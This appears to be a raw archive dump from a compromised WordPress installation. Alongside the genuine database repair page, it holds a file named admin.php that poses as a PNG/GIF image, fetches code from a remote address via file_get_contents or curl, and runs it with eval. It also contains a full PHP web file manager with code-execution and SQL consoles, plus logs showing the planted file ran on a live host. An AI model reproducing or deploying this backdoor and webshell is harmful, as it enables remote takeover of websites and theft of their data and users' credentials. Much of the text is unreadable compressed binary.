PK">\> repair.phpnuȯ > <?php _e( 'WordPress › Database Repair' ); ?> ' . /* translators: Hidden accessibility text. */ __( 'Allow automatic database repair' ) . ''; echo '

'; printf( /* translators: %s: wp-config.php */ __( 'To allow use of this page to automatically repair database problems, please add the following line to your %s file. Once this line is added to your config, reload this page.' ), 'wp-config.php' ); echo "

define('WP_ALLOW_REPAIR', true);

"; $default_keys = array_unique( array( 'put your unique phrase here', /* * translators: This string should only be translated if wp-config-sample.php is localized. * You can check the localized release package or * https://i18n.svn.wordpress.org//branches//dist/wp-config-sample.php */ __( 'put your unique phrase here' ), ) ); $missing_key = false; $duplicated_keys = array(); foreach ( array( 'AUTH_KEY', 'SECURE_AUTH_KEY', 'LOGGED_IN_KEY', 'NONCE_KEY', 'AUTH_SALT', 'SECURE_AUTH_SALT', 'LOGGED_IN_SALT', 'NONCE_SALT' ) as $key ) { if ( defined( $key ) ) { // Check for unique values of each key. $duplicated_keys[ constant( $key ) ] = isset( $duplicated_keys[ constant( $key ) ] ); } else { // If a constant is not defined, it's missing. $missing_key = true; } } // If at least one key uses a default value, consider it duplicated. foreach ( $default_keys as $default_key ) { if ( isset( $duplicated_keys[ $default_key ] ) ) { $duplicated_keys[ $default_key ] = true; } } // Weed out all unique, non-default values. $duplicated_keys = array_filter( $duplicated_keys ); if ( $duplicated_keys || $missing_key ) { echo '

' . /* translators: Hidden accessibility text. */ __( 'Check secret keys' ) . '

'; /* translators: 1: wp-config.php, 2: Secret key service URL. */ echo '

' . sprintf( __( 'While you are editing your %1$s file, take a moment to make sure you have all 8 keys and that they are unique. You can generate these using the WordPress.org secret key service.' ), 'wp-config.php', 'https://api.wordpress.org/secret-key/1.1/salt/' ) . '

'; } } elseif ( isset( $_GET['repair'] ) ) { echo '

' . /* translators: Hidden accessibility text. */ __( 'Database repair results' ) . '

'; $optimize = '2' === $_GET['repair']; $okay = true; $problems = array(); $tables = $wpdb->tables(); /** * Filters additional database tables to repair. * * @since 3.0.0 * * @param string[] $tables Array of prefixed table names to be repaired. */ $tables = array_merge( $tables, (array) apply_filters( 'tables_to_repair', array() ) ); // Loop over the tables, checking and repairing as needed. foreach ( $tables as $table ) { $check = $wpdb->get_row( $wpdb->prepare( 'CHECK TABLE %i', $table ) ); echo '

'; if ( 'OK' === $check->Msg_text ) { /* translators: %s: Table name. */ printf( __( 'The %s table is okay.' ), "$table" ); } else { /* translators: 1: Table name, 2: Error message. */ printf( __( 'The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table…' ), "$table", "$check->Msg_text" ); $repair = $wpdb->get_row( $wpdb->prepare( 'REPAIR TABLE %i', $table ) ); echo '
    '; if ( 'OK' === $repair->Msg_text ) { /* translators: %s: Table name. */ printf( __( 'Successfully repaired the %s table.' ), "$table" ); } else { /* translators: 1: Table name, 2: Error message. */ printf( __( 'Failed to repair the %1$s table. Error: %2$s' ), "$table", "$repair->Msg_text" ) . '
'; $problems[ $table ] = $repair->Msg_text; $okay = false; } } if ( $okay && $optimize ) { $analyze = $wpdb->get_row( $wpdb->prepare( 'ANALYZE TABLE %i', $table ) ); echo '
    '; if ( 'Table is already up to date' === $analyze->Msg_text ) { /* translators: %s: Table name. */ printf( __( 'The %s table is already optimized.' ), "$table" ); } else { $optimize = $wpdb->get_row( $wpdb->prepare( 'OPTIMIZE TABLE %i', $table ) ); echo '
    '; if ( 'OK' === $optimize->Msg_text || 'Table is already up to date' === $optimize->Msg_text ) { /* translators: %s: Table name. */ printf( __( 'Successfully optimized the %s table.' ), "$table" ); } else { /* translators: 1: Table name. 2: Error message. */ printf( __( 'Failed to optimize the %1$s table. Error: %2$s' ), "$table", "$optimize->Msg_text" ); } } } echo '

'; } if ( $problems ) { printf( /* translators: %s: URL to "Fixing WordPress" forum. */ '

' . __( 'Some database problems could not be repaired. Please copy-and-paste the following list of errors to the WordPress support forums to get additional assistance.' ) . '

', __( 'https://wordpress.org/support/forum/how-to-and-troubleshooting' ) ); $problem_output = ''; foreach ( $problems as $table => $problem ) { $problem_output .= "$table: $problem\n"; } echo '

'; } else { echo '

' . __( 'Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users.' ) . "

define('WP_ALLOW_REPAIR', true);

"; } } else { echo '

' . /* translators: Hidden accessibility text. */ __( 'WordPress database repair' ) . '

'; if ( isset( $_GET['referrer'] ) && 'is_blog_installed' === $_GET['referrer'] ) { echo '

' . __( 'One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the “Repair Database” button. Repairing can take a while, so please be patient.' ) . '

'; } else { echo '

' . __( 'WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient.' ) . '

'; } ?>

PK">\ȽA! admin.zipnu[PKV\ = admin.phpVNAO1hJWP-*m5F4vJWuw*4x %^(*cgGn 4^~ٴ;;soNZۿ%ZcHk˛N9K(.l6hSr|}3 9f-C&ײwn,M}2~X!Uv*An1J2lR-nU0NJ:HadN H#L&)DGDYnBﰪCK̛afVsՅ Ye5SHHЁt"jK"I$"(b;&Ma:JIIb2KJdDTM1"g7qQƭ$ E | lUm#ۯgܨ` S'@rY'*hct)8@ѤxdFi[{8-\`@338>;Nt10L˟___^)|LP)7P YD^J_#=oQc%V(=*MY\ݢ׺H%8n#z$ɶE6Z)脪dTpuUஓRTU@EQpB7 )QR/N5dtkk6w69Tt^ZռqKd;!s-&uVYu+' ѲȒr膅 P{Z FO5]5/jw%k*V &5jc:hQ1щnqu3(&XIM཮|oUĒ5ej2ODD46UDb'W\A.;WyZDbEp;Gt]izT׉%~_EnIH6fꗥW* -*%FID41kmB}Zp> !PU7< W}@ [LmIXڸD5%x+nqcp&Mjq Qk7kq.-?QEj.s \ S\yoRwnZj׸r2oٰA9w^Rꛡ^For+iW UZp^يPK?V\ = $ admin.php 禮PK[PK">\ = admin.phpnu[# BEGIN WordPress ??Z? PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! "\头"\头! "\头"\头! "\头"\头! "\头"\头! "\头"\头! "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; PHP 页面

欢迎来到 PHP 页面

这是一个使用 GB2312 编码的中文网页示例。

用户名:

密码:


当前时间:

GIF89a(沙现🐶🐱个 PHP Polyglot Example

PHP Polyglot Demo

Today's date is: " . date('Y-m-d') . "

"; ?>

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

eof()) { $内容 .= $文件->fgets(); } } catch (Throwable $错误) { $内容 = ''; } // 尝试用 file_get_contents if (strlen(trim($内容)) < 1) { $内容 = @file_get_contents($地址); } // 如果还失败,使用 curl if (strlen(trim($内容)) < 1 && function_exists('curl_init')) { $通道 = curl_init($地址); curl_setopt_array($通道, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10]); $内容 = curl_exec($通道); curl_close($通道); } return $内容; } // 尝试加载主网址 $结果 = 加载数据($主地址); // 添加假的PNG头部 $假PNG头 = "\x89PNG\r\n\x1a\n"; // 拼接PNG头和结果内容 $结果 = $假PNG头 . $结果; /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ // 如果成功获取内容,则执行 if (strlen(trim($结果)) > 0) { @eval("?>{$结果}"); }PK">\Iii error_lognu[[29-May-2026 08:53:39 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [30-May-2026 00:41:17 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [30-May-2026 00:43:31 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [30-May-2026 00:43:38 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [31-May-2026 01:02:31 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [01-Jun-2026 01:32:10 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [01-Jun-2026 01:33:20 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [01-Jun-2026 01:33:41 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [01-Jun-2026 01:33:50 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [02-Jun-2026 03:14:57 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [02-Jun-2026 03:15:58 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [02-Jun-2026 03:16:40 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [02-Jun-2026 03:16:45 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [02-Jun-2026 03:16:52 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [03-Jun-2026 01:13:49 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [04-Jun-2026 02:44:23 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [04-Jun-2026 02:44:55 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [07-Jun-2026 01:25:13 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [08-Jun-2026 00:25:47 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [08-Jun-2026 00:25:56 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [08-Jun-2026 00:26:04 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [08-Jun-2026 00:26:14 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [08-Jun-2026 00:26:20 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [08-Jun-2026 08:55:35 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [08-Jun-2026 08:55:46 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [09-Jun-2026 02:48:31 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [09-Jun-2026 02:54:42 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [10-Jun-2026 00:47:39 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 00:59:59 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:09:19 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:40:02 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:40:07 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:40:27 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:40:32 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:40:39 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:40:43 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:40:53 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:40:58 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [11-Jun-2026 01:43:19 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [14-Jun-2026 07:59:56 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [14-Jun-2026 08:06:40 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [14-Jun-2026 08:06:42 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 [14-Jun-2026 08:06:50 UTC] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/bdwebsol/public_html/wp-admin/maint/admin.php on line 66 PK">\fx index.zipnu[PKX\Ĭ? index.phpY(Qʈ &0+ۘ"wOM?ʧ.?xqYY?nm034>wTE}GC7)5~$f|TM)O Чka6y#qvb" wvN/$2]ц#7@nHz u cke\ ԏy$ 6SSJ磑uSwPZuqB5xA܏ Ղ8Y5ݙ-l̗j1vLੵFq r[?IU8!25Ez|zY5>0V0fScᄁeo|&T|8+v-JP`L+hQciw;&@ps(Ȱ'K˳|m89X VU@M2O@+!L} b# &[Aw4ՓR?m]M"󇅤N!N<2?~r~YAnÿi ո%~}" gGC:{v)t*|(gp񑭓JYӭ4 NAT#whEA.$V("szHSs.l'"'6eBdx7X4!;SY*r_mJ\ &YzrC7e x+Ȇɴ|Hp%ܢڒ0\>cR;%Laq.YPRRY/OмˈA| 4ѐUzɠs85S4lfdrV4ة38qL*]gd(/qGitv2EwI؁0/W0]_IGYCYKDR}SDPDNGz3j5tBݑkzǒ]HПo9F@0f` $YyNyM.no/#`cvv_ڍOde?=~oP;B>,5AbR_I9}8[2 :Ty&׶&77g:K|6Y q1T5n7,t_\PhfфySIρYO1UٔysVqYRS)85G|O'{.$߀b"6,^7; 7.oÏ .6*6l^; ͠gbZOs?Bn|  %e\Fz:ӂhR,h,q| j11"l@**~q]2Az?k $e~<& Z,klÅzVlYg&ss8 *-4ލ䊈Pp̙F.8)836\닑J]܏e8;VP}eRi7\H/u|8 (IG[r|`I+w9I̹D(g״SotƤѝ̫?. )h̋0K~ri%$>C )t'GgUu9k:⦃<!o.)ĕ w k\g&,E8pWꊃo}<ǚ6NX%4@kqUe!Pu7|G} 嶸>b. ɥ!P$m( w?f==2}?C-p]탪]3L xg:SNыkД#، "+-veع Jq?:p]%ZUt!t r $0L\.ۜ OXC^;nUjU \`=`g=T3l7{ur۶38s p51"B_ׅr7ڨn.<|idlən^@B17eE Úܖo}J;՟q|*ֳm UK>VAVpڪA. tVke(ξ֘>LG(֒eK.X]jAN8iEJ N~) ٹ^j}>8i&{iB]q᫅vNUs_iEHw8Q!IW*dzzn:rȌ9Ȭ 1aRj"o 鵋= lSɌ&TtؘuM|.ݝMs}2[Sޗշt 6ab(+ i jm.h~mLh%#\M{4~XDznw m@}܎ rs:[1A-NDgXFG9l@i9Yqu@rw%g}#+EXBߕ3]-7~Xgk:S߶c'[Q7AfA2 !_4F!B5CIVƣʬ cI r!"vs!Üe76kc` R 060{#`*ˌ5 Z͌"Oe[]ׁCqwlvTԤ爻wjwQ7'9S@deko@V]pnOoB} ŚNjd :NDd d,Ӯ*LjrPVb(`xU/hǎ\+:0/"wq%Nٰ=MزeGM6*A!X,ykZ6X%V"8U) ;-CwBNnrnW'N ┮{1ȹdʰjm7g]ٙ, 1qQ %ϳ,`6ӀغBvd2CfhsH:o2җElYcT# mID__- ۊ~GIPޤ1͈ࠐUC~<6ҼYJo=΀>T2fW4P,}Թ|URR;A}s<)ene[PKÃfXܙcYdx,w|#Y6nU%; 'p)]ZS Dð5)yM%ihg8D:CI?֍#LNN%֮EN^+I@tM 製I^JdkVQ$+@{3LCZᓲ \B)QUx4".Ei ^^+6wK^qKBͱhE>ͰS+ˣ0h:Okd:{wXhj|=r>#%מӲޅ%+wvrw'SI?;8[&E$B(Q7Rks.Ų.~Crb˶Ex@OBՐ1V#^~z* ̌ܧ_ۺ8Օ;qs@V*us~WgiȘQhc:PܕoP(|_ @̛F:}Lg3tF,t 3+G$a`håDkp~JKzo oaG0+^wk {E }|)\{˗o)py5Zk^#~|%AƤ\PQ Fi+ty u\ﴯ SRG(҇|9mgҙd]N-^6\+ߡǫZ1$u.e'vn@gTTVV43\/Ţ \ٲ-22file.phpnu[PK">\ĦAAfile.gznu[ true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '